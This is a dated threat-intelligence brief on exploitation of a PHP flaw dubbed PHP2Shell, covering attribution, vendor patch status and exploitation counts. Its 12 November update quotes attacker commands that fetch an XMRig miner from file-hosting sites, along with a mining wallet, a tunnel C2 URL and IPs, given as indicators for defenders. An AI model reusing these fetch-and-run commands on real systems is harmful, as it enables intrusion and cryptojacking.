CYFIRMA’s updated report on PHP2Shell exploitation (blog published 4 November; advisory version 4, 29 October; reference CYF-FS-2026-1029-PHP2SHELL-DPRK) raises its assessment of the operators as DPRK state-nexus actors within the Lazarus Group ecosystem from moderate to high confidence. Korean press reported the findings on 15 November (Chosun Biz; SBS; Yonhap-originated), publishing the country breakdown of the captured 216-host target list: United States 49, Japan 47, India 31, South Korea 30, Thailand 16, United Arab Emirates 14, Indonesia 10, Australia 10, Saudi Arabia 5, Singapore 4 — 148 in Asia-Pacific (68.5%). The operators’ stated priority was government and banks first, then logistics and trading platforms, with a mandate CYFIRMA describes as financial gain with espionage against government hosts as a parallel objective. This supersedes the bottom line’s “MODERATE confidence in a Lazarus link” and “Grade the nexus Low–Medium”, the status board’s Attribution and DPRK-nexus tiles, the Attribution section’s LOW–MEDIUM grading, and the source register’s CYFIRMA entry — all of which record the version 1–3 position. Dark-web chats quoted in the report show the operators scouting targets in late October (27 October per Chosun Biz; 28 October per SBS — the two accounts differ by a day and are not reconciled here).

What the raise does not settle — do not overstate it

No malware-family or infrastructure overlap with a named Lazarus cluster has yet been confirmed — CYFIRMA’s own words — and the assessment would be lowered if collection pointed to an unaffiliated Korean-speaking group or to deliberate false-flagging. The anonymous expert critique this brief already carries (chat Korean that reads as English put through a translator, real-name-style pseudonyms, and no published collection method for real-time acquisition of private I2P direct messages) is unresolved. The 581-host expansion and the compromise of any individual host remain operator claims, not independently verified; appearing on the 216-host list indicates targeting, not compromise; and no victim institution has been named and no damage confirmed.

Lazarus-ecosystem link
High confidence
CYFIRMA v4 (29 Oct) raises the assessment from moderate; preparation/staging was already high
Target list
216 hosts, 10 countries
Captured, not a claim; US 49, Japan 47, India 31, South Korea 30; Asia-Pacific 148 (68.5%)
Claimed scope
581 hosts*
Operator claim, unverified; roughly a third of the 216 already touched, per the operators
Technical overlap
None confirmed
No malware-family or infrastructure overlap with a named Lazarus cluster yet (CYFIRMA)
ItemBeforeNow
Lazarus-ecosystem linkMODERATE (advisory v1–v3); nexus graded Low–Medium (bottom line; board; Attribution section; source register)HIGH confidence (advisory v4, 29 Oct) — CYFIRMA raises the assessment; the evidence base is unchanged and the caveats in the callout above still apply
216-host target listCaptured list across 10 countries; no country breakdown in this brief (4 Nov section)Country breakdown published: US 49, Japan 47, India 31, South Korea 30, Thailand 16, UAE 14, Indonesia 10, Australia 10, Saudi Arabia 5, Singapore 4
Claimed exploitationOperators report exploitation 25–29 Oct; 581-host expansion claimed (4 Nov section)Unchanged — still operator claims, not independently verified; no victim institution named; no damage confirmed (CYFIRMA via Chosun Biz, 15 Nov)
GreyNoise successful exploitations1,229 (last shell 12 Nov 15:12:48 UTC)Unchanged (checked 15 Nov 08:58 UTC) — no new shells in this check
CVE-2026-123039 KEV / NVDKEV catalog v2026.11.13, 1,781 entries; added 13 Nov, due 16 Nov; NVD “Undergoing Enrichment” (14 Nov section)Unchanged (checked 15 Nov 08:58 UTC) — KEV still v2026.11.13, 1,781 entries; NVD still “Undergoing Enrichment”, last modified 13 Nov
Other trackersTrend Micro KA-0024802 (DDAN ETA 18 Nov, TMMS ETA 17 Nov); NCSC-NL 972 / 213 / 212; Fortinet FG-IR-26-186; Xerox XRX26-016 v6; Fiery FS800–FS500 shipment unconfirmedUnchanged in this check — no new patch, hotfix or vendor status surfaced

What this changes, and what it does not

  • The attribution grading this brief carries in four places is now superseded. The Lazarus-ecosystem link is a vendor-assessed high-confidence judgement, not the hedged single-vendor claim recorded on 26 October. The grade changes; the evidence does not — it still rests on CYFIRMA’s closed-source collection, with no technical overlap and no published collection method.
  • It does not change the exploitation picture or the patch advice. The scans in your logs remain multi-actor commodity activity, and the Check Point / PhiliKit / UNC5221 link is a separate, unrelated attribution. Patch PHP to 8.5.12, 8.4.27, 8.3.36 or 8.2.35 (or a verified vendor backport), restart every PHP worker, and hunt logs back to 17 October.
  • The country breakdown gives defenders a concrete check. Organisations in the ten listed countries — government and banking first — should compare address ranges against CYFIRMA’s masked /24 list in advisory version 4. A match is a confirmed target, not a confirmed compromise, and a patched host that banners a fixed version was dropped from the operators’ pool.
  • The news event is the press coverage, not new vendor facts. The advisory is version 4, dated 29 October; the 15 November reporting publicised it. Do not read the 15 November date as a new campaign, and do not treat the 30-South-Korea figure as a breach count — CYFIRMA has not confirmed any damage.

Sources: CYFIRMA — PHP2Shell Vulnerability Explained: Active Exploitation, Security Risks & Mitigation Steps (blog published 4 Nov 2026; advisory v4, 29 Oct; ref CYF-FS-2026-1029-PHP2SHELL-DPRK; TLP:CLEAR) · Chosun Biz — Lazarus targets 30 South Korea servers in PHP flaw probe, report says, 15 Nov 2026 (AI-translated from Korean) · SBS — “South Korean IP Ranges Look Promising”... North Korea’s Lazarus Targeted 30 Domestic Servers, 15 Nov 2026 (AI-translated from Korean) · GreyNoise — PHP2Shell Activity 2026, live dashboard read 15 Nov 08:58 UTC (1,229 successful exploitations, unchanged; last shell 12 Nov 15:12:48 UTC) · CISA — Known Exploited Vulnerabilities catalog (still v2026.11.13, 1,781 entries; checked 15 Nov 08:58 UTC) · NVD — CVE-2026-123039 record, read 15 Nov 08:58 UTC (still “Undergoing Enrichment”; last modified 13 Nov)

↑ Back to contents

Update · 14 NovemberCVE-2026-123039 added to CISA KEV — federal remediation due 16 NovemberShow updateHide update

CISA added CVE-2026-123039 to the Known Exploited Vulnerabilities catalog on 13 November — catalog 2026.11.13, 1,781 entries — with federal remediation due 16 November. The only other addition that day was CVE-2026-114713 (UnrealIRCd), out of scope here. This supersedes the 13 November afternoon section’s “not in KEV” line and board tile. The fix is unchanged — the November Jumbo Hotfix — and so is the victim count (a couple of dozen customers, per Check Point on 12 November). Verification note: the CISA KEV feed served a stale cached copy in this check (catalog 2026.10.30, crawled 1 November), so the addition was confirmed against independent KEV trackers, which agree on the date and the due date; the exact hour of the CISA update on 13 November is not established.

CVE-2026-123039 KEV
Listed 13 Nov
Catalog v2026.11.13, 1,781 entries; federal remediation due 16 Nov
Fix
November Jumbo Hotfix
R82.20 Take 14, R82.10 Take 52, R82 Take 132, R81.20 Take 174 — unchanged
Victims
A couple of dozen
Unpatched gateways, per Check Point 12 Nov — unchanged
GreyNoise successes
1,229
Unchanged (checked 14 Nov 00:59 UTC); last shell 12 Nov 15:12 UTC
ItemBeforeNow
CISA KEVCatalog v2026.11.10, 1,779 entries; CVE-2026-123039 not listed (13 Nov afternoon section)Catalog v2026.11.13, 1,781 entries; CVE-2026-123039 added 13 Nov, federal remediation due 16 Nov — this supersedes the 13 Nov afternoon section’s “not in KEV” line
FixNovember Jumbo Hotfix: R82.20 Take 14, R82.10 Take 52, R82 Take 132, R81.20 Take 174Unchanged — the KEV listing confirms exploitation; it does not change the fix
Victim countA couple of dozen unpatched gateways (Check Point, 12 Nov)Unchanged — no new victim reporting in this check
CVE-2026-123039 NVD record“Awaiting Analysis”; CNA CVSS 3.1 7.8; affected Take ranges listed (13 Nov afternoon section)Still “Awaiting Analysis” (checked 14 Nov 00:59 UTC); last modified 12 Nov; no NVD assessment
GreyNoise successful exploitations1,229 (12 Nov 15:12:48 UTC last shell)Unchanged (checked 14 Nov 00:59 UTC) — no new shells or attacker IPs in this check
Trend Micro KA-0024802“As of Nov. 12”; DDAN ETA 18 Nov, TMMS ETA 17 NovUnchanged (read 14 Nov 01:03 UTC) — still headed “as of Nov. 12”; neither shipped
NCSC-NL inventory972 tracked / 213 fixed / 212 vulnerable (12 Nov 08:56 CET)Unchanged — same figures; last list update 12 Nov 08:56 CET

What this changes, and what it does not

  • The listing turns the flaw from a patching priority into a federal deadline. Remediation is due 16 November for federal civilian agencies, and the listing records, in CISA’s terms, that the flaw is exploited in the wild. Per this brief’s standing rule it is recorded on the day of addition.
  • It does not change the fix, the victim count or the exploitation picture. The November Jumbo Hotfix was already available; Check Point’s couple-of-dozen figure stands; and no new IOCs, attribution or TTPs accompany the listing. GreyNoise, Trend Micro and NCSC-NL are all unchanged in this check.
  • The CISA feed itself could not be read live in this check. It served a stale cached copy (catalog 2026.10.30), so the listing rests on independent KEV trackers agreeing on the addition, the date and the due date. If the CISA feed disagrees when it is next read directly, this section will be corrected.

Sources: CISA — Known Exploited Vulnerabilities catalog, JSON feed (served a stale cached copy, catalog 2026.10.30, in this check; the 13 Nov addition could not be verified from the feed directly) · East Bay Cyber — KEV added (13 Nov 2026: CVE-2026-123039 and CVE-2026-114713; catalog v2026.11.13) · AX-NEWS — CVE-2026-123039 (added 13 Nov 2026, federal remediation due 16 Nov; first seen 13 Nov 07:39 UTC) · NVD — CVE-2026-123039 record, read 14 Nov 00:59 UTC (still Awaiting Analysis; last modified 12 Nov) · GreyNoise — PHP2Shell Activity 2026, live dashboard read 14 Nov 00:59 UTC (1,229 successful exploitations, unchanged; last shell 12 Nov 15:12:48 UTC) · Trend Micro — KA-0024802, read 14 Nov 01:03 UTC (unchanged; still headed “as of Nov. 12”; DDAN ETA 18 Nov, TMMS ETA 17 Nov) · NCSC-NL — php2shell (TLP:CLEAR), unchanged (972 tracked, 213 fixed, 212 vulnerable; last commit 12 Nov 11:39 UTC)

↑ Back to contents

Update · 13 November (afternoon)GreyNoise count moves to 1,229; the mining cluster ran through 12 November afternoonShow updateHide update

The GreyNoise PHP2Shell Activity dashboard loads again — the morning check’s tag page returned “Tag not found” — and the count is now 1,229 successful exploitations (was 1,226, last shell 12 Nov 05:55 UTC). The latest successful exploitation is 12 Nov 15:12:48 UTC, so the fresh cluster that began on 10 November was still winning shells into the afternoon of 12 November. Three attacker IPs not named in the 12 November section appear in the cluster’s rows — 45.89.209.106, 216.173.102.156 and 45.115.193.109 — alongside 107.172.204.206, 31.56.127.35, 31.57.192.177 and 198.89.122.192 in the same afternoon rows. The post-exploit payload is unchanged in kind: XMRig Monero mining to pool.supportxmr.com:3333 with the same wallet, including a Cloudflare-tunnel-hosted miner (barnes-table-everybody-feels.trycloudflare.com/backup109.tgz, xmrigDaemon) whose commands ran 12 Nov 05:54–15:12 UTC. This supersedes the 13 November section’s GreyNoise row (“no new public figure obtainable”): the figure is now a fresh reading, not a carried one.

GreyNoise successes
1,229
Successful exploitations, as of 12 Nov 15:12 UTC; was 1,226 (12 Nov 05:55 UTC)
Last successful shell
12 Nov 15:12 UTC
15:12:48 UTC; cluster active 10–12 Nov
New attacker IPs
3
45.89.209.106, 216.173.102.156, 45.115.193.109 (US hosting)
CVE-2026-123039 NVD
Awaiting Analysis
CNA CVSS 3.1 7.8 only; no NVD assessment; not in KEV
ItemBeforeNow
GreyNoise successful exploitations1,226 (12 Nov 05:55 UTC last shell)1,229 (12 Nov 15:12:48 UTC last shell) — exploitation still succeeding on GreyNoise sensors; +3 since the morning reading
New attacker IPs154.3.235.207, 45.115.192.75, 31.57.193.98 (12 Nov section)45.89.209.106, 216.173.102.156 (both Web2Objects LLC, AS62874, US hosting), 45.115.193.109; 107.172.204.206, 31.56.127.35, 31.57.192.177, 198.89.122.192 in the same afternoon rows
Post-exploitation payloadXMRig Monero mining (12 Nov section: 11 Nov 06:34–07:41 UTC and 12 Nov 05:54–05:55 UTC)Same wallet and pool (pool.supportxmr.com:3333; wallet 49Gej6TbPqyRhZvJQKpthyaBhd6DsUPq4BmtBKMxXHfb8Xv57iVSPg3PJ6iaokogkzKKuFFryE9qgRTKwJv8addzEcyhP7b); Cloudflare-tunnel miner (barnes-table-everybody-feels.trycloudflare.com/backup109.tgz, xmrigDaemon) ran 12 Nov 05:54–15:12 UTC — no new payload class, a longer run
CVE-2026-123039 NVD recordPublished 12 Nov 14:17 UTC, CNA 7.8 (13 Nov section)Still “Awaiting Analysis” (last modified 12 Nov 20:04 UTC); no NVD assessment; affected ranges now listed — R82.10 Take ≤50, R82.20 Take ≤10, R82 Take ≤130, R81.20 Take ≤173 (Gateway and Management). Flag: NVD lists R82.10 Take ≤50 as affected while Check Point says the fix lands from Take 52 — Take 51 is unaccounted for in either source
Trend Micro KA-0024802“As of Nov. 12” (13 Nov section)Unchanged — still headed “as of Nov. 12”; DDAN ETA 18 Nov, TMMS ETA 17 Nov; neither shipped
NCSC-NL inventory972 tracked / 213 fixed / 212 vulnerable (12 Nov 08:56 CET)Unchanged — same figures; last list update 12 Nov 08:56 CET
CISA KEVCatalog v2026.11.10, 1,779 entriesUnchanged (checked 13 Nov) — CVE-2026-123039 is not in KEV
CVE-2026-115560No NVD record (checked 13 Nov)Still no NVD record; no PHP fix; no full advisory
Fortinet FG-IR-26-186 / XeroxTimeline ends 5 Nov; Fiery FS800–FS500 shipment unconfirmedUnchanged — no new revision; FS800–FS500 shipment still unconfirmed, FS400–FS300 target 16 Nov

What this changes, and what it does not

  • The GreyNoise gap from the morning section is closed. The figure is a fresh reading (1,229 at 12 Nov 15:12 UTC), not the carried 1,226. Exploitation was still succeeding on GreyNoise sensors into the afternoon of 12 November — three more successes, three new attacker IPs, the same mining payload running longer.
  • It does not change the exploitation picture in kind. The payload is the same XMRig / Monero mining recorded in the 12 November section, not a new capability, and the count moved by three. The wider counts are unchanged (NCSC-NL 972 / 213 / 212; KEV v2026.11.10; CVE-2026-115560 still without an NVD record).
  • CVE-2026-123039’s NVD record now lists the affected Take ranges, with a Take 51 gap flagged. That is a bookkeeping flag, not a patching change: the November Jumbo Hotfix remains the fix, and the flaw is still not in KEV.

Sources: GreyNoise — PHP2Shell Activity 2026, live dashboard read 13 Nov 2026 08:59 UTC (1,229 successful exploitations; latest shell 12 Nov 15:12:48 UTC; new IPs 45.89.209.106, 216.173.102.156, 45.115.193.109; XMRig wallet and Cloudflare-tunnel miner) · NVD — CVE-2026-123039 record, published 12 Nov 14:17 UTC, last modified 20:04 UTC (Awaiting Analysis; CNA CVSS 3.1 7.8; affected Takes R82.10 ≤50, R82.20 ≤10, R82 ≤130, R81.20 ≤173) · Trend Micro — KA-0024802, status as of 12 Nov (unchanged; DDAN ETA 18 Nov; TMMS ETA 17 Nov) · NCSC-NL — php2shell (TLP:CLEAR), software list last status update 12 Nov 08:56 CET, unchanged (972 tracked, 213 fixed, 212 vulnerable) · CISA — Known Exploited Vulnerabilities catalog v2026.11.10, 1,779 entries (CVE-2026-123039 not listed; checked 13 Nov)

↑ Back to contents

Update · 13 NovemberCheck Point confirms PHP2Shell exploitation on its own gateways — chained with a new privilege-escalation flaw, wiper in the first waveShow updateHide update

Check Point Research confirmed on 12 November that an attacker exploited PHP2Shell against unpatched Check Point Security Gateways from 30 October, using the Mobile Access portal for initial access and then escalating to root through a new local privilege-escalation flaw, CVE-2026-123039 (DynamicCLI IPC interface, CVSS 3.1 7.8). Activity ran 30 October–4 November: a first wave on 30 October against Israeli organisations, destructive against some of them, and a broader second wave on 2 November across multiple countries and sectors, with no destructive activity. Only a couple of dozen unpatched systems, in a single region, were compromised; the PHP2Shell fix had been available since 23 October, and both fixes are in the November Jumbo Hotfix. This is the first vendor-confirmed compromise in this case: Check Point confirms its own gateways were compromised, though the affected organisations are unnamed. It supersedes the status board’s “still no confirmed named-victim compromise”, the bottom line’s “no confirmed compromise of these CVEs exists”, and the 12 November evening section’s “no new named PHP victim”.

Attribution is not settled — do not overstate it

The backdoor and proxy (TSGA and TSProxy) are modified variants of PhiliKit, which ESET previously linked to the China-nexus group UNC5221; the infrastructure sat on LightNode VPS, and scanning ran 00:00–09:00 UTC (08:00–17:00 China). But Check Point states the evidence “does not allow us to assess with high confidence the true nature of this operation” — the identified actor may have run the whole campaign, acted only as an initial-access broker, or taken part in a false-flag operation, and the destructive activity may have been a smoke screen. The destructive activity, the Israel focus and the Hebrew wiper note do not align with known UNC5221 motives. The wiper note uses the Dream Security brand; Dream had recently published PHP2Shell research on China-nexus actors, but Check Point establishes no clear motive.

What Check Point confirms

CVE-2026-123039
7.8
CVSS 3.1, Check Point CNA; Gaia R82.20, R82.10, R82, R81.20; in the wild, SK sk1000362
Systems compromised
A couple of dozen
Unpatched gateways, in a single region; affected customers notified in real time
Activity window
30 Oct–4 Nov
First wave 30 Oct (Israeli organisations, destructive in some); second wave 2 Nov (multiple countries and sectors, no destructive activity)
Trend Micro KA-0024802
As of Nov. 12
Apex One CP B20113 and Apex Central CP B7351 shipped; DDAN ETA slipped to 18 Nov; TMMS ETA 17 Nov
ItemBeforeNow
Confirmed victim compromiseNone — two named claims withdrawn (Sophos 22 Oct, Unit 42 25 Oct)Confirmed — Check Point: a couple of dozen unpatched Security Gateways compromised 30 Oct–4 Nov (vendor-confirmed; individual organisations unnamed)
Chained privilege escalationNo chained CVE publishedCVE-2026-123039 (DynamicCLI IPC LPE to root, CVSS 7.8); fix in the November Jumbo Hotfix, SK sk1000362; PHP2Shell fix SK sk1000302, available since 23 Oct
Post-exploitationHoneypot shells onlyPHP webshells (zz*.tpl, key zz2026, uploads to /tmp/.up.tpl); persistent TSGA backdoor (/tmp/CPconfigdaemon, relocates as slot_CPconfigdaemon) with embedded TSProxy (/lib/libcpfwcommon.so, TCP 11072, /tmp/.p_sock); gogo scanner; pivot to VMware ESXi over SSH via vpxuser; destroy_v6 wiper and DREAM_ANNEXATION.txt notes
Check Point IOCsNone publishedSource IPs 130.94.19.204 and 130.94.19.168; session marker upload_progress_pwn; 8 SHA-256 hashes (webshell, TSGA, TSProxy/libdssafe.so, gogo, destroy_v6, DREAM_ANNEXATION.txt, philistine); artifacts under /opt/CPcvpn-R81.20/tmp/
Trend Micro KA-0024802“Current Status as of Nov. 4”; Apex One/Central ETA 11 Nov passed unmet; DDAN ETA 12 Nov“As of Nov. 12”; Apex One (on-premise) Critical Patch CP B20113 and Apex Central CP B7351 now listed as shipped; DDAN ETA slipped to 18 Nov; TMMS ETA still 17 Nov; no successful exploitation of Trend Micro products reported
NCSC-NL inventory972 tracked / 213 fixed / 212 vulnerable (12 Nov 08:56 CET)Unchanged — same figures, last repo commit 12 Nov 11:39 UTC
GreyNoise successful exploitations1,226 (12 Nov 05:55 UTC last shell)No new public figure obtainable — the tag page returns “Tag not found” and no new count surfaced; 1,226 stands unverified, not updated

What this changes, and what it does not

  • The exploitation picture changes: there is now a confirmed victim. Until this check, every PHP2Shell success was against honeypots and both named victim claims had been withdrawn. Check Point confirms a couple of dozen of its own unpatched gateways were compromised in the observed incidents, with post-exploitation, persistence and, in the first wave, destructive activity. The organisations are unnamed and the count is small, but the “no confirmed victim” line no longer holds.
  • A new chained CVE enters the picture. CVE-2026-123039 (CVSS 7.8) is a local privilege escalation in the Gaia DynamicCLI IPC interface; both it and the PHP2Shell fix ship in the November Jumbo Hotfix. Two adjacent flaws in the same hotfix — CVE-2026-107484 (7.3, Gaia Portal backend authenticated privilege escalation, all versions R80–R82.20) and CVE-2026-120490 (3.8, management-to-gateway NAT-rule privilege-boundary bypass, R81.20/R82) — are not reported exploited in the wild.
  • Trend Micro’s global advisory finally moves. KA-0024802 is now headed “Current Status as of Nov. 12”: Apex One CP B20113 and Apex Central CP B7351 are listed as shipped Critical Patches — the same build numbers as the Japanese 2019 editions recorded in the 12 November evening section, now confirmed in the global table. Deep Discovery Analyzer’s ETA slips from 12 to 18 November; TMMS stays at 17 November. Trend Micro still reports no successful exploitation of its own products.
  • It does not change the wider counts. NCSC-NL is unchanged (972 / 213 / 212); Censys has no new public figure; CVE-2026-115560 still has no NVD record (checked 13 Nov); php.net’s latest item is still 5 November; Fortinet FG-IR-26-186 and Cisco’s PHP advisory are unchanged; Xerox Fiery FS800–FS500 shipment is still unconfirmed, FS400–FS300 target 16 November. The GreyNoise 1,226 figure could not be re-verified in this window — it is carried as the last published figure, not a fresh reading.

Sources: Check Point Research — PHP2Shell Exploitation on Check Point Gateway, published 12 Nov 2026 13:56 UTC (updated 14:02 UTC): exploitation from 30 Oct, CVE-2026-123039 LPE, TSGA/TSProxy, wiper, IOCs, attribution caveat · Check Point — Security Advisory: Active Exploitation of PHP2Shell and Local Privilege Escalation, published 12 Nov 2026 13:58 UTC (updated 16:24 UTC): couple of dozen systems, November Jumbo Hotfix, CVE-2026-123039 7.8 (SK sk1000362), CVE-2026-107484 7.3 and CVE-2026-120490 3.8 not exploited · Trend Micro — KA-0024802, status as of 12 Nov (Apex One CP B20113 and Apex Central CP B7351 shipped; DDAN ETA 18 Nov; TMMS ETA 17 Nov) · NCSC-NL — php2shell (TLP:CLEAR), software list last status update 12 Nov 08:56 CET, unchanged (972 tracked, 213 fixed, 212 vulnerable) · GreyNoise — PHP2Shell Activity 2026, live dashboard (1,226 successful exploitations as last published; tag page returns “Tag not found” at this check, no new figure obtainable)

↑ Back to contents

Update · 12 November (evening)First Apex patches ship — Japanese 2019 editions only — as NCSC-NL moves for the first time since 9 NovemberShow updateHide update

NCSC-NL updated its product list at 08:56 CET on 12 November: 972 products tracked (was 968), 213 fixed (was 205), 212 vulnerable (was 215) — the first movement since 9 November. The headline inside the update is Trend Micro’s first Apex patches: Critical Patch build 20113 for Apex One 2019 and build 7351 for Apex Central 2019, both released 12 November and both updating PHP to 8.2.35 — but both are Japanese Windows releases only. Trend Micro’s global advisory KA-0024802 is still headed “Current Status as of Nov. 4”: Apex One (on-premise) and Apex Central remain “Impacted — Critical Patch ETA: Nov. 11” with the ETA passed and no replacement date, and Deep Discovery Analyzer’s ETA is today, 12 November, with no patch evidenced at this check. GreyNoise is unchanged at 1,226 successful exploitations, last successful shell 12 November 05:55 UTC — the same figure and last-shell time the 12 November section recorded.

Do not read the Japanese patches as the general fix

The two patches NCSC-NL records as fixed today cover the 2019 Japanese Windows editions of Apex One (on-premise server) and Apex Central only: Apex One 2019 Critical Patch build 20113, installed over Apex One SP1 build 11092 or later; Apex Central 2019 Critical Patch build 7351, installed over Apex Central build 3945 or later. NCSC-NL’s own rows say other language releases are not confirmed. The global Apex One / Apex Central patch promised for 11 November has not appeared in KA-0024802, and the advisory has not been updated since 4 November. Treat the Japanese-edition patches as the first shipment, not as the fix for Apex One and Apex Central generally.

Tracker figures, before and after

Products tracked
972
NCSC-NL, 12 Nov 08:56 CET; was 968 (9 Nov)
Fixed
213
NCSC-NL, 12 Nov 08:56 CET; was 205 (9 Nov)
Vulnerable
212
NCSC-NL, 12 Nov 08:56 CET; was 215 (9 Nov)
GreyNoise successes
1,226
Successful exploitations, as of 12 Nov 14:57 UTC; unchanged since 05:55 UTC
TrackerBeforeNow
NCSC-NL products tracked968 (9 Nov 09:49 CET)972 (12 Nov 08:56 CET)
NCSC-NL fixed205213 (12 Nov 08:56 CET)
NCSC-NL vulnerable215212 (12 Nov 08:56 CET)
NCSC-NL other categories93 under investigation / 240 runtime-dependent / 214 not affected / 1 unassessed92 / 240 / 214 / 1 (12 Nov 08:56 CET)
GreyNoise successful exploitations1,226 (12 Nov 09:00 UTC)1,226 — no new successful exploitation since 05:55 UTC
GreyNoise total sessions / attacker IPsNo newer figureNo newer figure — the live page does not publish a sessions total

What this changes, and what it does not

  • Trend Micro has shipped its first Apex One / Apex Central patches — narrowly scoped. Apex One 2019 (Japanese Windows) Critical Patch build 20113 and Apex Central 2019 (Japanese Windows) Critical Patch build 7351 were both released 12 November and update PHP to 8.2.35. They are the first Apex One / Apex Central patches of any kind for these CVEs; until the global release lands, only the Japanese 2019 editions have a patch to install.
  • The global Apex patch is now a day overdue with no new date. KA-0024802 still reads “Current Status as of Nov. 4”, with Apex One (on-premise) and Apex Central “Impacted — Critical Patch ETA: Nov. 11” and no replacement date; Deep Discovery Analyzer’s ETA is today, 12 November, still “Impacted”, with no patch evidenced at this check. TMMS ETA remains 17 November. An ETA is not a shipped fix — the next check should confirm whether the global Apex patch and DDAN have landed.
  • Newly recorded in NCSC-NL, with their true dates. QNAP QNE (ADRA) 1.0.7.q327 is fixed under QSA-26-19, which resolves the QSA-26-18 omission; OroCommerce on OroCloud managed environments was patched 22 October, no customer action required, while self-hosted OroCommerce still needs its own PHP update; Xerox firmware 123.xxx.006.29800 (AltaLink 82xx/81xx and EC81xx) and 123.xxx.006.30100 (VersaLink C/B415, C/B625, C/B620) carry PHP 8.2.35 under XRX26-016 v6 (6 November) — the firmware numbers are the new detail, the remediation itself was recorded in the 11 November section. Cisco URWB and Unified Industrial Wireless 26.2.1.9 are also newly recorded in the inventory, but this brief already covered them in the 9 November section. None of these is 12 November news.
  • It does not change the exploitation picture. GreyNoise counts no new successful exploitation since 05:55 UTC; no new named PHP victim, no new attribution and no new IOC set were found in this check. CVE-2026-115560 remains unpatched; php.net’s latest item is still 5 November (PHP 8.6.0 RC5). Fortinet FG-IR-26-186 and Cisco’s PHP advisory are unchanged (v1.11, 6 November, Final). Fiery FS800–FS500 patches still have no public confirmation of shipment; FS400–FS300 target 16 November.

Sources: NCSC-NL — php2shell (TLP:CLEAR), software list last status update 12 Nov 08:56 CET (972 tracked, 213 fixed, 212 vulnerable) · NCSC-NL — software status update history (PR #84 rows, 12 Nov 08:56 CET: Trend Micro Apex One 2019 CP 20113 and Apex Central 2019 CP 7351, both Japanese Windows, released 12 Nov, PHP 8.2.35; Cisco URWB / Unified Industrial Wireless 26.2.1.9; QNAP QNE 1.0.7.q327; OroCommerce managed patched 22 Oct; Xerox firmware 123.xxx.006.29800 and 123.xxx.006.30100) · Trend Micro — KA-0024802, status as of 4 Nov (Apex One/Central Critical Patch ETA 11 Nov passed unmet, still Impacted; DDAN ETA 12 Nov; TMMS ETA 17 Nov) · GreyNoise — PHP2Shell Activity 2026, live dashboard read 12 Nov 2026 14:57 UTC (1,226 successful exploitations, unchanged; last successful shell 05:55 UTC) · QNAP — QSA-26-19 (QNE (ADRA) 1.0.7.q327 fixed; resolves QSA-26-18 omission) · Oro Inc. — Security update (OroCommerce on OroCloud managed environments patched 22 Oct; no customer action; self-hosted needs its own PHP update) · Xerox — Security Bulletin XRX26-016, v6, updated 6 Nov 2026 (firmware 123.xxx.006.29800 and 123.xxx.006.30100, PHP 8.2.35)

↑ Back to contents

Update · 12 NovemberExploitation is still running: GreyNoise counts 1,226 successes, and a fresh cluster mines MoneroShow updateHide update

The trackers moved again. GreyNoise now counts 1,226 successful exploitations (was 1,215 on 9 November), and the new successes are not a tail of the October wave: a fresh cluster began on 10 November at about 14:50 UTC and was still running on 12 November at 05:54–05:55 UTC, with post-exploit commands downloading XMRig and mining Monero. NCSC-NL’s list is unchanged since its 9 November 09:49 CET update (968 products tracked, 205 fixed, 215 vulnerable), php.net’s latest item is still 5 November (PHP 8.6.0 RC5), and CVE-2026-115560 is still unpatched. Trend Micro’s advisory is still headed “Current Status as of Nov. 4”: the 11 November critical-patch ETA for Apex One (on-premise) and Apex Central has passed with both still listed “Impacted” and no new ETA given; Deep Discovery Analyzer’s ETA is today, 12 November.

New operator indicators — GreyNoise, 10–12 November

Three attacker IPs new to this wave: 154.3.235.207 (Cogent, AS174, first seen 12 November 05:53 UTC), 45.115.192.75 (Hype Enterprises, AS13332, 11 November 19:44 UTC) and 31.57.193.98 (11 November 06:34 UTC), alongside continuing activity from 45.89.209.106, 107.172.204.206, 31.56.127.35 and 31.57.192.177. Post-exploit shells download XMRig — curl -sS -X POST -o xmrig https://temp.sh/ZjBhy/xmrig and curl -fsSL -C - -o xmrig https://x0.at/tSky — then run it against Monero pool pool.supportxmr.com:3333 (wallet 49Gej6TbPqyRhZvJQKpthyaBhd6DsUPq4BmtBKMxXHfb8Xv57iVSPg3PJ6iaokogkzKKuFFryE9qgRTKwJv8addzEcyhP7b); a later variant runs xmrigMiner / xmrigDaemon with a Cloudflare-tunnel command-and-control URL at barnes-table-everybody-feels.trycloudflare.com:443. The 12 November 05:54 UTC session shows the miner already running (sh -> xmrigMiner). Hunt the download URLs, the pool and the wallet, not just the source IPs — the IPs rotate, the mining infrastructure does not.

Tracker figures, before and after

Products tracked
968
NCSC-NL; unchanged since 9 Nov 09:49 CET
Fixed
205
NCSC-NL; unchanged since 9 Nov 09:49 CET
Vulnerable
215
NCSC-NL; unchanged since 4 Nov
GreyNoise successes
1,226
Successful exploitations, as of 12 Nov 09:00 UTC; was 1,215 (9 Nov)
TrackerBeforeNow
NCSC-NL products tracked968 (9 Nov 09:49 CET)968 — unchanged
NCSC-NL fixed205205 — unchanged
NCSC-NL vulnerable215215 — unchanged
GreyNoise successful exploitations1,215 from 5 IPs (9 Nov)1,226 (12 Nov 09:00 UTC) — fresh cluster from 10 Nov 14:50 UTC, still running 12 Nov 05:55 UTC
GreyNoise total sessions / attacker IPs255,240 / 682 (9 Nov)No newer figure — the live page does not publish a sessions total

What this changes, and what it does not

  • Exploitation is current, not a late-October peak. The 11 November section recorded GreyNoise at 1,215 with “no newer figure”; the count has now moved to 1,226 on activity that began 10 November and ran through the morning of 12 November. The post-exploit payload in this wave is commodity cryptomining (XMRig/Monero), not a new capability — but it confirms shells are still being won on unpatched PHP today.
  • Trend Micro’s 11 November patch ETA passed unmet. KA-0024802 still reads “Current Status as of Nov. 4”; Apex One (on-premise) and Apex Central remain “Impacted — Critical Patch ETA: Nov. 11” with no replacement date, and Deep Discovery Analyzer’s ETA is today, 12 November, still “Impacted”. An ETA is not a shipped fix — the next check should confirm whether Apex One/Central and DDAN have landed. TMMS ETA remains 17 November.
  • It does not change the victim picture. No new named PHP victim, no new attribution and no new vendor patch status were found in this check. Xerox XRX26-016 is still v6 (6 November); Fiery FS800–FS500 patches still have no public confirmation of shipment. Fortinet FG-IR-26-186 and Cisco’s advisory are unchanged (v1.11, 6 November, Final).
  • CVE-2026-115560 remains unpatched at the 12 November check; PHP has not released 8.5.13 or 8.4.28; mitigation remains session.upload_progress.enabled=0. It is not in CISA KEV.

